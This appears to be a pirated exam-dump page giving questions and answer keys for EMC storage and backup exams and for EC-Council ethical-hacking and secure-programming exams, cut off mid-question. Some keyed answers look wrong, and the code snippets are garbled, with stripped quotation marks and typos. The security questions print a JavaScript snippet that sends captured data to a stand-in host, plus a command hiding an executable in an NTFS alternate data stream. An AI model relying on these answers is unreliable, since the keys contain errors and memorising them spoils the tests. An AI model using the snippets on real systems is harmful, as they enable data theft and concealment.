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Exam Code: E22-186
Exam Name: EMC (EMC SourceOne for Microsoft SharePoint Administration Exam)
One year free update, No help, Full refund!
Total Q&A: 138 Questions and Answers
Last Update: 2013-11-30

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NO.1 What is the function of the SharePoint Archiving activity?
A. shortcuts SharePoint items into the Native Archive
B. archives SharePoint items into a Mapped folder
C. shortcuts SharePoint items stored in the External BLOB Storage
D. archives SharePoint items stored in the External BLOB Storage
Answer: B

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NO.2 The administrator needs to delete a site that has permissions defined via a custom site-specific group.
What should the administrator do before the site is deleted?
A. remove the custom site-specific permission
B. change the ownership of the content to Farm Administrator
C. grant Read access to all SharePoint user accounts
D. assign a higher level group with Read access
Answer: D

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NO.3 What is the preferred mechanism for SharePoint permission assignment for use with EMC SourceOne
for Microsoft SharePoint?
A. SourceOne Security group
B. Active Directory group
C. Active Directory users
D. Local users
Answer: B

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NO.4 What is a benefit of EMC SourceOne for Microsoft SharePoint?
A. improves SharePoint performance and scalability by short-cutting content on the SharePoint SQL
servers
B. leverages the SharePoint infrastructure for retention and policy management
C. provides a single, unified search mechanism across archive and SharePoint content
D. improves management of SharePoint libraries and lists and the various content types within them
Answer: D

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NO.5 An Active Directory group has permissions for Sites A, B, and C. An end user searches for specific
documents and is presented with results from all three sites.
The SharePoint administrator deletes site B and then creates site D, granting permission to the same
Active Directory group.
The end user conducts the previous search again.
How are the end user's search results affected?
A. documents from sites A, B, C, and D are included, but documents from Site B are inaccessible from
search results
B. documents from sites A, B, C, and D are included and are accessible from search results
C. only documents from sites A and C are included and are accessible from search results
D. only documents from sites A, C, and D are included and are accessible from search results
Answer: B

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NO.6 What is the lowest SharePoint organizational level at which the SharePoint Archive activity can be
configured?
A. Farm
B. Site
C. List
D. Folder
Answer: C

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NO.7 An administrator is adding a SharePoint Farm server and needs to impersonate a user with these
details:
User name = uname
Domain = corp
Which format is valid for impersonating this user?
A. corp/uname
B. uname.corp
C. uname-corp
D. uname@corp
Answer: D

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NO.8 Which mechanism is used by External BLOB Storage to externalize content into the SourceOne
Archive?
A. Server Message Block
B. WCF with HTTP binding
C. Remote Procedure Call
D. WebDAV
Answer: C

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NO.9 The External BLOB Storage Garbage Collection routine recovers storage from which location?
A. Message Center
B. Large Content subdirectory
C. Worker Temp directory
D. Index Temp directory
Answer: B

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NO.10 An administrator needs to assign permissions for archiving SharePoint sites with EMC SourceOne for
Microsoft SharePoint. What should the administrator use to assign those permissions?
A. SourceOne Admin group
B. SourceOne Security group
C. SharePoint groups
D. SharePoint users
Answer: C

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NO.11 How long will a user's last query be remembered within SharePoint when the Fire-And-Forget search
feature is used?
A. 3 days
B. 7 days
C. 10 days
D. 14 days
Answer: B

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NO.12 Which web browser property should all end users ensure is enabled to use SharePoint Archive
Search?
A. JavaScript
B. ActiveX plug-in
C. Applets
D. Allow pop-ups
Answer: A

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NO.13 When performing an archive search from within SharePoint, what does the Owner List contain?
A. a list of documents the user owns and can access
B. the list of Mapped folders that the user is attempting to access
C. a list of the current user's SharePoint and Active Directory groups
D. the SourceOne Access Account information and the user's current logon information
Answer: C

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NO.14 Which layer in the EMC SourceOne architecture handles SharePoint archiving activities?
A. Application
B. Service
C. Provider
D. Data
Answer: B

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NO.15 A company's SharePoint farm content databases continue to grow past the Microsoft recommended
size. What can an administrator do to alleviate this problem?
A. run the EMC SourceOne SharePoint Shortcut activity to replace SharePoint content with shortcut files
B. run the EMC SourceOne SharePoint Archive activity and copy older content to an Archive folder
C. install, configure, and enable the EMC SourceOne EBS Provider for the SharePoint farm
D. ensure automatic disposition is configured on the SourceOne Archive folder
Answer: C

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NO.16 What is the External BLOB Storage Garbage Collection routine?
A. a SourceOne activity
B. a SharePoint task
C. a Database stored procedure
D. a SourceOne service
Answer: B

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NO.17 An archived SharePoint site with permissions exclusively assigned via a custom site-specific group is
deleted. What is the accessibility of the archived content?
A. accessible only by a user with the Administrator role on the Mapped folder
B. accessible only by the Farm Administrator
C. accessible by a user with the Administrator role on the Native Archive folder
D. accessible only after an archive permission update task is run
Answer: A

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NO.18 How can an administrator minimize the number of permission updates in a SharePoint archive?
A. add and remove permissions for individual SharePoint users
B. add and remove groups
C. add and remove members to existing groups
D. add and remove permissions for individual Active Directory users
Answer: C

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NO.19 A Microsoft SharePoint customer's database is running out of space due to excessive content.
What can EMC SourceOne for Microsoft SharePoint provide to help the customer.?
A. database compression
B. consolidated user interface
C. dual search mechanisms
D. storage management
Answer: D

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NO.20 Which EMC SourceOne for Microsoft SharePoint search feature can end users and administrators use
to find archived SharePoint content?
A. SharePoint Advanced Search
B. SharePoint Archive Search
C. SourceOne Discovery Manager
D. SourceOne Web Search
Answer: B

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Exam Code: E20-390
Exam Name: EMC (VNX Solutions Specialist Exam for Implementation Engineers )
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Total Q&A: 333 Questions and Answers
Last Update: 2013-11-30

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NO.1 What is the length of RSA keys used to encrypt and decrypt network traffic in a VNX environment?
A. 2048 bytes
B. 1024 bits
C. 1024 bytes
D. 2048 bits
Answer: D

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NO.2 Which LDAP username format is correct for CLI authentication on a VNX system?
A. <username>
B. <username>@FQDN
C. <domain>\<username>
D. <username>.FGDN
Answer: B

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NO.3 The preferred path to your VMware ESX host failed. Which native multi-pathing policy will revert to the
preferred path when it is restored?
A. Fixed only
B. MRU only
C. Round-robin
D. Bath Fixed and MRU
Answer: A

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NO.4 You are planning to add a new DAE to a VNX storage system. Doing so will exceed the supported total
drive count by four drives. What impact will this have on the operation of the VNX system?
A. The DAE will be recognized but four drive slots will not function.
B. All slots on the DAE will be available for use.
C. Connecting the new DAE will take the bus offline.
D. The DAE can be physically connected, but will not be available.
Answer: A

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NO.5 What is the maximum number of Fibre Channel initiator ports, per Linux host, supported by VNX for
Block?
A. 8
B. 4
C. 16
D. 32
Answer: C

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NO.6 Which VNX feature is used to reclaim unused storage space?
A. LUN migration
B. LUN shrink
C. Thin provisioning
D. RAID group defragment
Answer: B

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NO.7 Where in Unisphere do you assign FAST Cache to LUNs?
A. At the LUN level under a RAID group
B. At the LUN level under a storage pool
C. Under FAST Cache system properties
D. Under the Advanced tab of RAIDGROUP Properties
Answer: A

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NO.8 Which CLI command displays the IP configuration of each Data Mover?
A. server_ifconfig
B. /sbin/ifconfig
C. server_sysconfig
D. server_devconfig
Answer: A

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NO.9 An administrator exports a newly created file system and finds two directories, called etc and
lost+found. The administrator does not want these directions to appear in the export.
What should the administrator do to address this issue?
A. The administrator should delete the directories
B. Create a subdirectory below the root of the file system and export it
C. Nothing, this is normal and these two directories will show in all exports
D. The administrator should change the attribute of these directories to hidden
Answer: B

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NO.10 What are the severity levels available with Unisphere event notifications?
A. Critical and Informational
B. High and Low
C. Critical and Low
D. High and Warning
Answer: A

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NO.11 Which Linux distribution supports both MPFS and pNFS.?
A. CentOS
B. RedHat
C. Fedora
D. Debian
Answer: B

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NO.12 An administrator tries to modify the quota settings on a CIFS share from a Windows Server 2003 host,
but the Quota tab does not exist in the network drive properties. What could be a possible cause?
A. Quotas can be managed only with Windows Server 2008
B. The user does not have administrator privileges on this share
C. Exporting is implemented at the file system subdirectory level on VNX OE for File.
D. Windows users cannot modify the quota settings
Answer: C

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NO.13 How does the VNX handle LUN ownership changes so that the access path to the LUN is available to
both SPs simultaneously?
A. By the host software being aware of SP ownership
B. By the SPs sharing ownership of the LUNs
C. By using ALUA Failover Mode
D. By the LUN being trespassed.
Answer: C

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NO.14 If a source LUN is trespassed, what happens to a fractured clone LUN?
A. Neither the clone LUN nor the fracture logs will be acquired by the peer SP
B. The peer SP acquires the fracture logs.
C. The peer SP acquires both the clone LUN and the fracture logs.
D. The peer SP acquires the clone LUN.
Answer: B

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NO.15 Which utility on a Windows server can be used to view the HBA WWN details?
A. Unisphere Host Agent
B. Unisphere Server Utility
C. HBAnywhere
D. Device Manager
Answer: C

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NO.16 What is the fan-in ratio for MirrorView/A?
A. 1: 1
B. 2: 1
C. 4: 1
D. 8: 1
Answer: C

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NO.17 A user is creating a dynamic disk on a Windows host. The first disk is fully utilized. Writes continue to
the next disk. Which volume type did they select?
A. Striped
B. Spanned
C. RAID 5
D. Mirrored
Answer: B

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NO.18 An administrator has finished configuring the zoning on their MDS-series switch and issues the
following command: zoneset activate name ActiveZS vsan 100
What happens?
A. Zoneset ActiveZS is activated on VSAN 100
B. Zoneset ActiveZS is created on VSAN 100
C. VSAN 100 is created and activated.
D. VSAN 100 is named ActiveZS
Answer: B

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NO.19 In a VNX array with FAST VP enabled, what is the size of the data slice (chunk) that can be relocated
between tiers?
A. 1 GB
B. 2 GB
C. 5 GB
D. 10 GB
Answer: A

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NO.20 Which statement correctly describes a benefit of using a Virtual Data Mover (VDM)?
A. It supports the separation of CIFS servers and their shares
B. It enables the replication of NFS exports
C. It can be configured as a standby for failover.
D. It provides security for users in multi-protocol environments
Answer: A

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Exam Code: E20-005
Exam Name: EMC (Backup Recovery Systems and Architecture Exam)
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Total Q&A: 120 Questions and Answers
Last Update: 2013-11-30

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NO.1 Which statement defines retention period?
A. Amount of time available for restoring a particular version of a backup dataset
B. Amount of time available for overwriting a volume containing backups
C. Period of time in which a backup must be restored
D. Amount of time allocated for full system recovery
Answer: A

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NO.2 What is a benefit of deploying a separate storage node in the backup environment?
A. Reduced number of backups
B. Increased media utilization
C. Improved security and access control
D. Consolidate backup servers
Answer: D

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NO.3 Which disk connectivity option supports the highest data transfer rate?
A. SATA
B. SCSI
C. IDE
D. ATA
Answer: A

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NO.4 Which software component of a backup application sends media metadata to the backup server?
A. Storage node
B. Client
C. NetWorker Management Console
D. Application server
Answer: A

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NO.5 What is the fault tolerance of a RAID 5 array, where n is the number of disks in the array?
A. 1
B. n-1
C. 2
D. n-2
Answer: A

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NO.6 A full backup of a file system is performed once a week on Saturday and cumulative backups are
performed on all other days. Backups start at 20:00 with a two-hour window. Data on the file system
changes every day.
How many backups are required to perform a full system restore as of Friday morning?
A. 2
B. 6
C. 1
D. 7
Answer: A

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NO.7 What is an example of a PCI connection?
A. Parallel interface between a disk and the controller card
B. Interconnection between a CPU and network card
C. Serial connection between a disk and the controller card
D. Interconnection between a tape drive and a computer
Answer: B

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NO.8 Which type of backup should be used to create a backup copy offline without disrupting I/O operations
on a production volume?
A. Cumulative backup
B. Incremental backup
C. Full backup
D. Synthetic full backup
Answer: D

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NO.9 What are the components of a Logical Volume Manager (LVM)?
A. Physical volumes, volume groups, logical volumes
B. Physical groups, volume groups, logical volumes
C. Physical groups, volume groups, logical groups
D. Physical blocks, volume groups, logical groups
Answer: A

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NO.10 What is the role of the storage node in a client/server backup architecture?
A. Writes data to a backup device
B. Gathers data to be backed up
C. Manages the backup operation
D. Writes metadata to the backup catalog
Answer: A

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NO.11 What terminology is used to describe grouping several physical drives into one logical drive?
A. Concatenation
B. Partitioning
C. Formatting
D. Grouping
Answer: A

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NO.12 What is recovery point objective?
A. Maximum allowable time to fully recover an application
B. Actual time that it takes to recover all data
C. Amount of data loss that is acceptable by the business
D. Length of time that backups are kept for recovery purposes
Answer: C

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NO.13 A customer is moving data from a backup disk to tape, which will later will be stored offsite.
What is this process called?
A. Cloning
B. Staging
C. Aging
D. Mirroring
Answer: B

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NO.14 What is the interval of time between the creation and expiration of the backup called?
A. Retention period
B. Recovery point objective (RPO)
C. Recovery time objective (RTO)
D. Backup window
Answer: A

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NO.15 A customer has a requirement to restore operations within two hours after a disaster.
What is this time period called?
A. Recovery time objective (RTO)
B. Retention period
C. Recovery point objective (RPO)
D. Backup window
Answer: A

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NO.16 What is the primary reason for having disaster recovery backups?
A. To restore data from an alternate site due to data loss at a primary site
B. To restore data when data loss or logical corruptions occur during routine processing
C. To restore data that was archived for regulatory compliance
D. To restore data when data loss occurs due to minor hardware component failures
Answer: A

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NO.17 What is the process of moving data from one storage medium to another?
A. Cloning
B. Replication
C. Staging
D. Twinning
Answer: C

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NO.18 A business has a recovery point objective (RPO) of nine hours. What does this RPO mean in the event
of a disaster?
A. No more than nine hours of production data can be lost
B. Restore from backup must occur within nine hours
C. Production must be resumed within nine hours
D. A backup copy of the production data must be obtained within nine hours
Answer: A

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NO.19 Which type of backup only copies the files that have changed since the last full backup.?
A. Cumulative
B. Full
C. Incremental
D. Synthetic full
Answer: A

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NO.20 You are planning the staging policy for disk-to-offsite tape backup media. In addition to available disk
space, which factor is most significant when determining how long to keep the backup data on disk?
A. Length of time when most restore requests are expected to occur
B. Location of offsite storage
C. Cost of shipping and storing tapes
D. Tape capacity
Answer: A

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Exam Code: E20-891
Exam Name: EMC (Backup Recovery Solutions Expert Exam for Technology Architects)
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Total Q&A: 118 Questions and Answers
Last Update: 2013-11-30

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NO.1 An EMC customer is currently backing up their Microsoft Exchange database to an EMC
Avamar server. The backups are setup to full on Friday, skip on Sunday, and only
transaction logs backed up the rest of the week. The customer would like to integrate Data Domain
to Avamar and run the database backups to the Data Domain system.
If a Data Domain system is deployed on Sunday, which type of backup runs on the following Monday?
A. Full database backup
B. Transaction logs backup
C. Backups will be skipped
D. Level 1 backup of the database
Answer: A

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NO.2 A customer has an EMC Data Domain appliance that has reached 90% of maximum capacity.
The customer does not want to purchase any additional storage.
What will increase the average available capacity of the Data Domain appliance?
A. Decrease the backup retention period
B. Decrease the cleaning frequency
C. Increase the snapshot expiration period
D. Increase the number of streams
Answer: B

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NO.3 While installing an EMC Avamar deduplication node in a NetWorker backup solution, the
Microsoft Windows client backup jobs fail to run. Which process should be running on the client
during the backup?
A. nsravtar
B. nsravamar
C. nsrim
D. nsrndmpsv
Answer: A

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NO.4 A customer has implemented EMC Data Domain Boost for Oracle RMAN software in their
environment and are successfully backing up several Oracle servers. Backups are directed to a local
Data Domain system and a second Data Domain system was configured at their disaster recovery
site as a target for replication.
What needs to be done to create copies of the backup data on the remote system that are tracked
and recoverable by RMAN?
A. Modify the RMAN script to include backup copies
B. Configure directory replication between the Data Domain systems
C. Configure Mtree replication between the Data Domain systems
D. Create a second RMAN script for the second Data Domain system
Answer: A

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NO.5 A customer is planning to use EMC NetWorker integrated with Data Domain to backup their
enterprise. Data Domain will be used to replicate backups to an offsite location to satisfy regulatory
requirements. The customer is concerned about the difficulty in managing their backups and
backup clones with two interfaces.
What could be done to simplify the management of backups and clones?
A. Configure DD Boost with NetWorker and use clone-controlled replication.
B. Configure pre and post scripts to handle the cloning.
C. Create one backup job for cloning and one additional job for local copies.
D. Create scripts to run through the CLI to handle daily cloning.
Answer: A

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NO.6 An EMC NetWorker customer wants to add their new Microsoft SharePoint distributed farm to
their backup environment. The farm contains three servers. One server contains the web front-end
and the other two servers each contain two SQL databases.
How is the number of the client resources determined?
A. One resource for each server in the farm
B. One resource for each SQL database in the farm and one for the web front-end server
C. Only one resource for the entire farm
D. One resource for each SQL database in the farm
Answer: A

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NO.7 An existing EMC Data Domain customer wants to know the way to integrate Data Domain
with RMAN to their tape library. How would this integration take place?
A. Use RMAN and Media Manager Layer to backup the application
B. Use RMAN with NFS to write to tape
C. Use RMAN with DD Boost to move data to the tape library
D. Use RMAN with dNFS to write to the tape library
Answer: A

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NO.8 An EMC NetWorker customer has just started running backups of their new Microsoft
SharePoint distributed farm. They are concerned that their web applications are not being backed
up.
What can you tell the customer about backing up web applications?
A. Web applications are backed up with the corresponding content database
B. Add the web application name to the save set field for the client hosting the content database
C. Create a separate client resource for each web application
D. Web applications must be backed up with a file system backup method
Answer: A

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NO.9 You are planning an MS SQL backup solution for a customer using EMC NetWorker and NMM
without a proxy client. Which user privilege must be configured on NetWorker?
A. Add the NMM client to the NetWorker Administrator user group
B. Add the NetWorker Administrator to the NMM remote user setting
C. Add the NMM client to the MS Windows administrators user group
D. Add the NMM client to the Operators user group
Answer: A

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NO.10 A customer recently integrated EMC Avamar into their existing NetWorker datazone. After
creating a deduplication client and defining the NetWorker deduplication node, the backup is
started. However, the backup failed.
What must be done to perform a successful backup?
A. Create a local AFTD on the storage node to store deduplication metadata
B. Create an AFTD on the Avamar server to store deduplication metadata
C. Create an AFTD to store the deduplication indexes
D. Create an AFTD to store the additional bootstrap information
Answer: A

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Exam Code: EC0-350
Exam Name: EC-COUNCIL (Ethical hacking and countermeasures)
One year free update, No help, Full refund!
Total Q&A: 878 Questions and Answers
Last Update: 2013-11-30

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NO.1 Which programming language is NOT vulnerable to buffer overflow attacks?
A.Java
B.ActiveX
C.C++
D.Assembly Language
Correct:A

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NO.2 Samuel is the network administrator of DataX Communications, Inc. He is trying to configure his
firewall to block password brute force attempts on his network. He enables blocking the intruder's
IP address for a period of 24 hours time after more than three unsuccessful attempts. He is
confident that this rule will secure his network from hackers on the Internet. But he still receives
hundreds of thousands brute-force attempts generated from various IP addresses around the
world. After some investigation he realizes that the intruders are using a proxy somewhere else
on the Internet which has been scripted to enable the random usage of various proxies on each
request so as not to get caught by the firewall rule. Later he adds another rule to his firewall and
enables small sleep on the password attempt so that if the password is incorrect, it would take 45
seconds to return to the user to begin another attempt. Since an intruder may use multiple
machines to brute force the password, he also throttles the number of connections that will be
prepared to accept from a particular IP address. This action will slow the intruder's attempts.
Samuel wants to completely block hackers brute force attempts on his network. What are the
alternatives to defending against possible brute-force password attacks on his site?
A.Enforce a password policy and use account lockouts after three wrong logon attempts even though this
might lock out legit users
B.Enable the IDS to monitor the intrusion attempts and alert you by e-mail about the IP address of the
intruder so that you can block them at the Firewall manually
C.Enforce complex password policy on your network so that passwords are more difficult to brute force
D.You cannot completely block the intruders attempt if they constantly switch proxies
Correct:D

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NO.3 Bob is acknowledged as a hacker of repute and is popular among visitors of 'underground' sites.
Bob is willing to share his knowledge to those who are willing to learn, and many have expressed
their interest in learning from him. However, this knowledge has risks associated with it, as the
same knowledge can be used for malevolent attacks as well. In this context, what would be the
most effective method to bridge the knowledge gap between the "black" hats or crackers and the
"white" hats or computer security professionals?
A.Hire more computer security monitoring personnel to monitor computer systems and networks
B.Educate everyone with books, articles and training on risk analysis, vulnerabilities and safeguards
C.Train more national guard and reservist in the art of computer security to help out in times of emergency
or crises
D.Make obtaining either a computer security certification or accreditation easier to achieve so more
individuals feel that they are a part of something larger than life
Correct:B

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NO.4 Samantha has been actively scanning the client network for which she is doing a vulnerability
assessment test. While doing a port scan she notices ports open in the 135 to 139 range. What
protocol is most likely to be listening on those ports?
A.FTP
B.SMB
C.Finger
D.Samba
Correct:B

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NO.5 Bill has successfully executed a buffer overflow against a Windows IIS web server. He has been
able to spawn an interactive shell and plans to deface the main web page. He first attempts to use
the "Echo" command to simply overwrite index.html and remains unsuccessful. He then attempts
to delete the page and achieves no progress. Finally, he tries to overwrite it with another page in
which also he remains unsuccessful. What is the probable cause of Bill's problem?
A.The system is a honeypot
B.The HTML file has permissions of read only
C.You cannot use a buffer overflow to deface a web page
D.There is a problem with the shell and he needs to run the attack again
Correct:B

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NO.6 Lori has just been tasked by her supervisor toonduct vulnerability scan on the corporate
network.She has been instructed to perform a very thorough test of the network to ensure that
there are no security holes on any of the machines.Lori's company does not own any commercial
scanning products, so she decides to download a free one off the Internet.Lori has never done a
vulnerability scan before, so she is unsure of some of the settings available in the software she
downloaded.One of the options is to choose which ports that can be scanned.Lori wants to do
exactly what her boss has told her, but she does not know what ports should be scanned. If Lori is
supposed to scan all known TCP ports, how many ports should she select in the software?
A.65536
B.1024
C.1025
D.Lori should not scan TCP ports, only UDP ports
Correct:A

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NO.7 What type of port scan is shown below? Scan directed at open port: ClientServer
192.5.2.92:4079 ---------FIN--------->192.5.2.110:23 192.5.2.92:4079 <----NO
RESPONSE------192.5.2.110:23 Scan directed at closed port: ClientServer 192.5.2.92:4079
---------FIN--------->192.5.2.110:23 192.5.2.92:4079<-----RST/ACK----------192.5.2.110:23
A.Idle Scan
B.FIN Scan
C.XMAS Scan
D.Windows Scan
Correct:B

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NO.8 Maurine is working as a security consultant for Hinklemeir Associates.She has asked the
Systems Administrator to create a group policy that would not allow null sessions on the network.
The Systems Administrator is fresh out of college and has never heard of null sessions and does
not know what they are used for. Maurine is trying to explain to the Systems Administrator that
hackers will try to create a null session when footprinting the network. Why would an attacker try
to create a null session with a computer on a network?
A.Enumerate users and shares
B.Install a backdoor for later attacks
C.Escalate his/her privileges on the target server
D.To create a user with administrative privileges for later use
Correct:A

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NO.9 Travis works primarily from home as a medical transcriptionist. He just bought a brand new
Dual Core Pentium computer with over 3 GB of RAM. He uses voice recognition software to help
him transfer what he dictates to electronic documents. The voice recognition software is
processor intensive, which is why he bought the new computer. Travis frequently has to get on
the Internet to do research on what he is working on. After about two months of working on his
new computer, he notices that it is not running nearly as fast as it used to. Travis uses antivirus
software, anti-spyware software, and always keeps the computer up-to-date with Microsoft
patches. After another month of working on the computer, Travis' computer is even more
noticeably slow. Every once in awhile, Travis also notices a window or two pop-up on his screen,
but they quickly disappear.He has seen these windows show up, even when he has not been on
the Internet. Travis is really worried about his computer because he spent a lot of money on it, and
he depends on it to work. Travis scans his computer with all kinds of software, and cannot find
anything out of the ordinary. Travis decides to go through Windows Explorer and check out the
file system, folder by folder, to see if there is anything he can find. He spends over four hours
pouring over the files and folders and cannot find anything.But, before he gives up, he notices
that his computer only has about 10 GB of free space available.Since his hard drive is a 200 GB
hard drive, Travis thinks this is very odd. Travis downloads Space Monger and adds up the sizes
for all the folders and files on his computer. According to his calculations, he should have around
150 GB of free space. What is mostly likely the cause of Travis' problems?
A.Travis's computer is infected with stealth kernel level rootkit
B.Travis's computer is infected with Stealth Trojan Virus
C.Travis's computer is infected with Self-Replication Worm that fills the hard disk space
D.Logic Bomb is triggered at random times creating hidden data consuming junk files
Correct:A

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NO.10 A client has approached you with a penetration test requirement. They are concerned with the
possibility of external threat, and have invested considerable resources in protecting their
Internet exposure. However, their main concern is the possibility of an employee elevating his/her
privileges and gaining access to information outside of their department. What kind of penetration
test would you recommend that would best address the client's concern?
A.A Grey Hat test
B.A Grey Box test
C.A Black Hat test
D.A White Hat test
E.A Black Box test
F.A White Box test
Correct:B

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NO.11 What file system vulnerability does the following command take advantage of? type
c:\anyfile.exe > c:\winnt\system32\calc.exe:anyfile.exe
A.HFS
B.ADS
C.NTFS
D.Backdoor access
Correct:B

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NO.12 Eric notices repeated probes to port 1080. He learns that the protocol being used is designed to
allow a host outside of a firewall to connect transparently and securely through the firewall. He
wonders if his firewall has been breached. What would be your inference?
A.Eric's network has been penetrated by a firewall breach
B.The attacker is using the ICMP protocol to have a covert channel
C.Eric has a Wingate package providing FTP redirection on his network
D.Somebody is using SOCKS on the network to communicate through the firewall
Correct:D

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NO.13 Bill has started to notice some slowness on his network when trying to update his company's
website and while trying to access the website from the Internet. Bill asks the help desk manager
if he has received any calls about slowness from the end users, but the help desk manager says
that he has not. Bill receives a number of calls from customers that cannot access the company
website and cannot purchase anything online. Bill logs on to a couple of his routers and notices
that the logs show network traffic is at an all time high.?He also notices that almost all the traffic
is originating from a specific address. Bill decides to use Geotrace to find out where the suspect
IP is originates from. The Geotrace utility runs a traceroute and finds that the IP is coming from
Panama.?Bill knows that none of his customers are in Panama so he immediately thinks that his
company is under a Denial of Service attack. Now Bill needs to find out more about the originating
IP address. What Internet registry should Bill look in to find the IP address?
A.LACNIC
B.ARIN
C.RIPE LACNIC
D.APNIC
Correct:A

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NO.14 Why is Social Engineering considered attractive by hackers and commonly done by experts in
the field?
A.It is not considered illegal
B.It is done by well-known hackers
C.It is easy and extremely effective to gain information
D.It does not require a computer in order to commit a crime
Correct:C

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NO.15 Which of the following built-in C/C++ functions you should avoid to prevent your program from
buffer overflow attacks?
A.strcpy()
B.strcat()
C.streadd()
D.strsock()
Correct:A B C

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NO.16 Clive is conducting a pen-test and has just port scanned a system on the network. He has
identified the operating system as Linux and been able to elicit responses from ports 23, 25 and
53. He infers port 23 as running Telnet service, port 25 as running SMTP service and port 53 as
running DNS service. The client confirms these findings and attests to the current availability of
the services. When he tries to telnet to port 23 or 25, he gets a blank screen in response. On
typing other commands, he sees only blank spaces or underscores symbols on the screen. What
are you most likely to infer from this?
A.The services are protected by TCP wrappers
B.There is a honeypot running on the scanned machine
C.An attacker has replaced the services with trojaned ones
D.This indicates that the telnet and SMTP server have crashed
Correct:A

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NO.17 What is the purpose of firewalking?
A.It's a technique used to map routers on a network link
B.It's a technique used to discover Wireless network on foot
C.It's a technique used to discover interface in promiscuous mode
D.It's a technique used to discover what rules are configured on a gateway
Correct:D

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NO.18 A program that defends against a port scanner will attempt to:
A.Sends back bogus data to the port scanner
B.Log a violation and recommend use of security-auditing tools
C.Limit access by the scanning system to publicly available ports only
D.Update a firewall rule in real time to prevent the port scan from being completed
Correct:D

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NO.19 After a client sends a connection request (SYN) packet to the server, the server will respond
(SYN-ACK) with a sequence number of its choosing, which then must be acknowledged (ACK) by
the client. This sequence number is predictable; the attack connects to a service first with its own
IP address, records the sequence number chosen, and then opens a second connection from a
forged IP address. The attack doesn't see the SYN-ACK (or any other packet) from the server, but
can guess the correct responses. If the source IP address is used for authentication, then the
attacker can use the one-sided communication to break into the server. What attacks can you
successfully launch against a server using the above technique?
A.Session Hijacking attacks
B.Denial of Service attacks
C.Web page defacement attacks
D.IP spoofing attacks
Correct:A

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NO.20 Mark works as a contractor for the Department of Defense and is in charge of network security.
He has spent the last month securing access to his network from all possible entry points. He has
segmented his network into several subnets and has installed firewalls all over the network. He
has placed very stringent rules on all the firewalls, blocking everything in and out except ports
that must be used. He does need to have port 80 open since his company hosts a website that
must be accessed from the Internet. Mark is fairly confident of his perimeter defenses, but is still
worried about programs like Hping2 that can get into a network through covert channels. How
should mark protect his network from an attacker using Hping2 to scan his internal network?
A.Block ICMP type 13 messages
B.Block all incoming traffic on port 53
C.Block all outgoing traffic on port 53
D.Use stateful inspection on the firewalls
Correct:A

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Exam Code: 312-92
Exam Name: EC-COUNCIL (EC-Council Certified Secure Programmer v2)
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Total Q&A: 99 Questions and Answers
Last Update: 2013-11-30

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NO.1 David is an applications developer working for Dewer and Sons law firm in Los Angeles David just
completed a course on writing secure code and was enlightened by all the intricacies of how code must
be rewritten many times to ensure its security. David decides to go through all the applications he has
written and change them to be more secure. David comes across the following snippet in one of his
programs:
#include <stdio.h>
int main(int argc, char **argv)
{
int number = 5;
printf(argv[1]);
putchar( \n );
printf( number (%p) is equal to %d\n ,
&value, value);
}
What could David change, add, or delete to make this code more secure?
A. Change putchar( \n ) to putchar( %s , \n )
B. Change printf(argv[1]) to printf( %s , argv[1])
C. Change printf(argv[1]) to printf(constv [0])
D. Change int number = 5 to const number =
Answer: B

EC-COUNCIL test   312-92   312-92

NO.2 John is creating a website using ASP. John s web pages will have a number of calculations, so he
decides to create an include file that the pages will call so he does not have to rewrite the formula
numerous times. John s website will be hosted by a server running IIS. John wants to ensure that the
include source code is not revealed when the pages are viewed, so he gives the include an .asp
extension.
When IIS processes the include file, which system file will be used to hide the include source code?
A. ASP.dll
B. Include.dll
C. IISASP.dll
D. IIS.dll
Answer: A

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NO.3 Shayla is designing a web-based application that will pass data to and from a company extranet. This
data is very sensitive and must be protected at all costs. Shayla will use a digital certificate and a digital
signature to protect the data. The digital signature she has chosen to use is based on the difficulty in
computing discrete logarithms. Which digital signature has she chosen?
A. Rabin
B. Diffie-Hellman
C. SA-PSS
D. ElGamal
Answer: D

EC-COUNCIL   312-92   312-92

NO.4 Kenny is the CIO for Fredrickson Entertainment, a gaming software company in Omaha. The
developers in Kenny s company have just finished creating a 3D first person shooter game that will be
released to the market within the next couple of months. Kenny is trying to decide what type of license or
activation code structure they should use for the game to prevent piracy and protect their product. Kenny
decides to go with an approach that will allow each sold copy to be activated online up to five times
because he knows his users might have multiple PCs or might need to reinstall the product at some point.
What type of activation policy has Kenny decided to go with?
A. Loose license enforced
reasonable use
B. License terms enforced
fair use
C. Strict license terms enforced
D. Monitor only mode
Answer: A

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NO.5 Travis, a senior systems developer for YNY Services, received an email recently from an unknown
source. Instead of opening the email on his normal production machine, Travis decides to copy the email
to a thumb drive and examine it from a quarantined PC not on the network. Travis examines the email and
discovers a link that is supposed to take him to http://scarysite.com. Travis decides to get back on his
production computer and examine the code of that site.
From the following code snippet, what has Travis discovered?
<script>
function object() {
this.email setter = captureobject
}
function captureobject(x) {
var objstring =
for(fld in this) {
obstring += fld + :
this[fld] + , ;
}
obstring += email:
+ x;
var req = new XMLHttpRequest();
req.open( GET , http://scarysite.com?obj=
+
escape(objString), true);
req.send(null);
}
</script>
A. URL obfuscation
B. XSS attack
C. JavaScript hijacking
D. URL tampering
Answer: C

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NO.6 Harold is programming an application that needs to be incorporate data encryption. Harold decides to
utilize an encryption algorithm that uses 4-bit working registers instead of the usual 2bit working registers.
What encryption algorithm has Harold decided to use?
A. Blowfish
B. RC5
C. RC4
D. RC6
Answer: D

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NO.7 Devon is an applications developer that just got back from a conference on how to correctly write code.
Devon has a number of programs he has written that access data across WAN links, so he is particularly
concerned about their security. Devon writes a script in C++ to check the security of the programs running
on his internal servers. What will the following code from Devon s script accomplish?
#include <iostream>
#include <socket.cpp>
#include <util.h>
using namespace std;
bool tryPort(int p);
string target("");
int main(int argC, char *argV[])
{
printf("PlagueZ port scanner 0.1\n");
int startPort = getInt("start Port: ");
int endPort = getInt("end Port: ");
target = getString("Host: ");
printf("[Processing port %d to %d]\n",
startPort, endPort);
for(int i=0; i<endPort; i++)
{
printf("[Trying port: %d]\n", i);
if(tryPort(i)) // port open
printf("[Port %d is open]\n", i);
}
printf("------Scan Finished-------\n");
system("pause");
return 0;
}
bool tryPort(int p)
{
SocketClient *scan;
try
{
scan = new SocketClient(target, p);
}
catch(int e) { delete &scan; return
false; }
delete &scan;
return true;
}
A. Scan the perimeter firewall for DoS vulnerabilities
B. Create socket connections to the remote sites to check their security
C. Close off any ports used by malicious code
D. Scan for open ports
Answer: D

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NO.8 After learning from an external auditor that his code was susceptible to attack, George decided to
rewrite some of his code to look like the following. What is George preventing by changing the code?
public voif doContent(...) {
...
String s;
